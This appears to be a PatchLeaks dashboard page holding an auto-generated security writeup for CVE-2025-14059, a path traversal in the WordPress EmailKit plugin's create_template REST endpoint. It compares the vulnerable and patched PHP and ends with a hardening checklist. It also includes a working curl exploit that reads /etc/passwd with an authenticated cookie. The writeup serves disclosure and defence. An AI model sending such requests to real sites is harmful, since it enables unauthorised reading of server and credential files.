ANALYSIS · 95654737· FINISHED 2026-01-08 · PATCHDIFF

Folder Analysiscache/emailkit_1.6.1 → cache/emailkit_1.6.2✓ COMPLETED

Files5

Vulnerable2

True positives0

CVE matched1

1 CVE article ready PatchLeaks generated full security writeups for the matched CVEs · one per CVE, with affected files linked

CVE-2025-14059

FILTERS 0

SEARCH

STATUS

JUDGE

CVE MATCH

EXTENSION

CWE

OPTIONS

Hide “No vulnerability” Hide unjudged

SCOPE

All 5 CVE 1 Vuln 2

SORT

1 files · page 1/1

includes/Admin/Api/CheckForm.php

No vulnerability

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')CWE-20: Improper Input Validation CVE-2025-14059

#%!d(float64=002)

1–1 of 1

⌖

Select a file from the list to inspect its diff and AI analysis.

↑ ↓ to navigate

CVES 1

CVE-2025-14059

Security writeup for CVE-2025-14059

✓ 1 FILE

## The Exploit

An authenticated attacker with Author-level privileges or higher can abuse `create_template` to read arbitrary files via the `emailkit-editor-template` REST parameter.

```bash
curl -i -s -X POST 'https://<TARGET_HOST>/wp-json/emailkit/v1/create_template' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: wordpress_logged_in_<HASH>=<SESSION_COOKIE>' \
  -d '{
    "emailkit-editor-template": "../../../../../../etc/passwd",
    "emailkit_email_type": "html",
    "emailkit_form_id": "1"
  }'
```

The endpoint accepts the crafted template path and returns a successful REST response, indicating that `/etc/passwd` has been loaded through the plugin's template logic. The file contents are written into post meta and can be exfiltrated later through MetForm email confirmation or any other channel that reads saved template metadata.

## What the Patch Did

Before:
```php
$template_path = $request->get_param('emailkit-editor-template');
$template = file_exists($template_path) ? file_get_contents($template_path) : '';
$html_path = str_replace("content.json", "content.html", $template_path);
$html = file_exists($html_path) ? file_get_contents($html_path) : '';
```

After:
```php
$template_path = $request->get_param('emailkit-editor-template');
$allowed_base_path = wp_upload_dir()['basedir'] . '/emailkit/templates/';
$real_path = realpath($template_path);
if ($real_path === false || strpos($real_path, realpath($allowed_base_path)) !== 0) {
    return new WP_REST_Response(['success' => false, 'message' => __('Invalid template path', 'emailkit')], 400);
}

$template = file_exists($real_path) ? file_get_contents($real_path) : '';
$html_path = str_replace("content.json", "content.html", $real_path);

// Validate HTML path as well
$real_html_path = realpath($html_path);
if ($real_html_path !== false && strpos($real_html_path, realpath($allowed_base_path)) === 0) {
    $html = file_exists($real_html_path) ? file_get_contents($real_html_path) : '';
}
```

The patch adds a filesystem confinement check using `realpath()` and an allowed base directory built from `wp_upload_dir()`. It rejects any path that resolves outside `uploads/emailkit/templates/`, and it applies the same validation to the derived HTML template file too.

## Root Cause

This is a classic CWE-22 path traversal: the REST parameter `emailkit-editor-template` is attacker-controlled, reaches `$request->get_param('emailkit-editor-template')`, and is passed directly into `file_exists()` and `file_get_contents()` with no directory validation. That allows `../../…` payloads to escape the intended template folder and read arbitrary server files such as `/etc/passwd` or `wp-config.php`.

## Why It Works

The bug is fixed by one load-bearing guard: `if ($real_path === false || strpos($real_path, realpath($allowed_base_path)) !== 0)`. Without that check, `file_get_contents()` still operates on whatever filesystem path the attacker provides. `realpath()` normalizes traversal sequences, while `strpos(..., realpath($allowed_base_path)) !== 0` ensures the resolved path actually begins inside the plugin’s allowed upload directory. The extra `realpath()` validation for the derived HTML path prevents a second escape vector for the `content.html` file.

## Hardening Checklist

- Use `current_user_can()` in REST permission callbacks to enforce that only intended roles can hit file-handling endpoints.
- Constrain filesystem access with `realpath()` and compare against a known good base path, not just string matching.
- Define allowed storage locations with `wp_upload_dir()` or `wp_normalize_path()` so user-supplied paths cannot jump to arbitrary directories.
- Sanitize REST parameters with `sanitize_text_field()` and numeric IDs with `absint()` before using them in filesystem or database operations.
- Store files by identifier instead of by user-provided filename when possible, and map IDs to canonical paths rather than reading raw input paths.

## References

- https://nvd.nist.gov/vuln/detail/CVE-2025-14059

CVE CVE-2025-14059

PRODUCT Folder Analysis

AFFECTED ≤ cache/emailkit_1.6.1

FIXED IN cache/emailkit_1.6.2

STATUS Generated

Security writeup · CVE-2025-14059

Source files · 1

includes/Admin/Api/CheckForm.php Linked

↗ NVD